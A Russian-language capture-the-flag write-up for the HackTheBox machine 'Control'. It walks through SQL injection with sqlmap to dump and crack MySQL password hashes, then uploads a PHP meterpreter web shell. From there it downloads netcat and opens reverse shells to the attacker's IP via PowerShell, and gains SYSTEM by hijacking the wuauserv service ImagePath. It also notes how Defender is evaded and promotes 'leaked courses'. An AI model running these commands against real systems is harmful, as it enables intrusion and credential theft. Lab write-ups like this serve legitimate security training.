Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.
В данной статье проникаем в систему через SQL инъекцию, копаемся в истории командной строки и повышаем свои привилегии благодаря имеющимся правам на службу.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.167, который я добавляю в /etc/hosts.
10.10.10.167 control.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 1000 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.167 --rate=1000
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A control.htb -p80,135,3306,49667,49666
На хосте работает веб-сервер. Посмотрим что там.
И видим, что есть ссылка на админку. Но нам сообщают, что отсутствует заголовок и мы должны обращаться через прокси.
При этом в исходном коде стартовой страницы находим сообщение:
Сопоставляя то, что нужно использовать прокси, и найденный адрес, предполагаем, что заходить нужно именно через него. Прокси отображается в HTTP протоколе в заголовке x-forwarded-for. Давайте выставим его.
И мы удачно заходим на страницу админа. Давайте зайдем через браузер.
Но при попытке что-либо сделать, нас будут выбрасывать на страницу с сообщением о прокси. Так происходит потому, что мы не подставляем найденный заголовок. Что бы не делать это каждый раз в Burp Suite во вкладке Proxy -> Options найдем функцию “Match and Replace”.
И добавим новую запись, которая будет автоматически добавлять данный заголовок во все исходящие запросы.
И тестируя поле поиска находим SQL инъекцию.
Для эксплуатации используем sqlmap. Давайте сохраним данный запрос в файл (Copy to file) и запустим sqlmap, передав данный файл в качестве параметра.
sqlmap -r headers.req
Entry Point
Посмотрим какие имеются базы данных.
sqlmap -r headers.req --dbs
Давайте узнаем, какие имеются учетные данные. Посмотрим все таблицы в базе данных mysql.
sqlmap -r headers.req -D mysql --tables
Так нас интересует таблица user. Давайте получим названия всех колонок.
sqlmap -r headers.req -D mysql -T user --columns
Из всех колонок наиболее интересны User и Password. Узнаем что в них.
sqlmap -r headers.req -D mysql -T user -C User,Password --dump
В базе хранится несколько пользователей. Sqlmap предлагает взломать хеши. Выбираем атаку по словарю, указываем, что хотим использовать свой словарь и пишем путь к rockyou.
Спустя несколько секунд, нам будет предоставлена таблица с именами пользователей и хешами их паролей. Если sqlmap смог взломать пароль он укажет его рядом с хешем в скобках. Как можно наблюдать, мы имеем учетные данные пользователя hector.
Получить шелл с помощью sqlmap не получилось, но вот записать файлы выходит. Давайте разместим веб шел. Сначала сгенерируем meterpreter нагрузку в формате PHP.
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.82 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php
А теперь запишем его с помощью sqlmap в директорию веб сервера.
sqlmap -r headers.req --file-write=/home/ralf/tmp/r.php --file-dest=C:/inetpub/wwwroot/r.php
Файл успешно записан. Запустим листенер.
И обратимся к своему файлу на веб сервере.
curl http://control.htb/r.php
В окне Metasploit наблюдаем успешное подключение.
Переходи в данную сессию.
Но вот проблема, мы не можем выполнять команды через шелл, В добавок при подобных попытках сбрасывается соединение. Попробуем обойти блокировку за счет создания процесса powershell в скрытом от просмотра (-H) интерактивном режиме (-i) с передачей нашей команды в качестве параметры (-a). Давайте узнаем под каким пользователем мы работаем.
USER
У нас есть учетные данные Гектора, узнаем есть ли такой пользователь в системе.
Такой пользователь есть! Но сначала узнаем имя машины.
У нас есть логин, пароль, домен и имя машины. Теперь проверим подойдут ли полученные нами учетные данные. Для этого выполним “whoami” от имени Гектора.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { whoami }" -i -H
Отлично. Давайте получим шелл. Запустим на локальном хосте веб-сервер.
python3 -m http.server 80
И загрузим на удаленный хост Netcat.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { iwr 10.10.15.82/nc.exe -o C:\\Users\\Hector\\Documents\\nc.exe }" -i -H
Теперь откроем у себя 5432 порт. nc -lvp 5432 и выполним обратное подключение с удаленного хоста.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { C:\\Users\\Hector\\Documents\\nc.exe -e powershell 10.10.15.82 5432 }" -i -H
Так мы берем пользователя.
ROOT
Далее при попытке загрузить на хост одно из средств сбора информации с хоста ( такие как BloodHound, PowerUp, JAWS, WinPEAS) замечаем, что их удаляет дефендер. Но у WinPEAS есть bat версия, которая не удаляется. Загружем его на хост и запускаем. Далее следует только внимательно просматривать собранную информацию. И мы находим интересный файл ConsoleHost_history.txt
Смотрим, что он содержит.
Данные команды единственное, что у нас есть. Командлет Get-Acl получает объекты, которые представляют дескриптор безопасности файла или ресурса. Дескриптор безопасности содержит списки управления доступом (ACL) ресурса. Список ACL содержит разрешения, необходимые пользователям и группам пользователей для доступа к ресурсу. Таким образом, я решил, что путь решениея кроится в службах и доступе к ним. Давайте получим все службы и разрешения Гектора к ним.
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "Hector Users Path"
Просматривая вывод, замечаем, что Гектор имеет полные права на службу обновления Windows — wuauserv.
Службы в операционной системе Windows выполняются с правами System. При регистрации службы в системе, путь к исполняемому файлу службы охраняется в атрибуте ImagePath. Давайте изменим значение данного атрибута и загрузим шелл.
reg add "HKLM\System\CurrentControlSet\Services\wuauserv" /v ImagePath /t REG_SZ /d "C:\Users\Hector\Documents\nc.exe -e powershell 10.10.15.82 6543"
Теперь запустим службу обновления.
start-service wuauserv
И получаем шелл с максимальными привилегиями.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.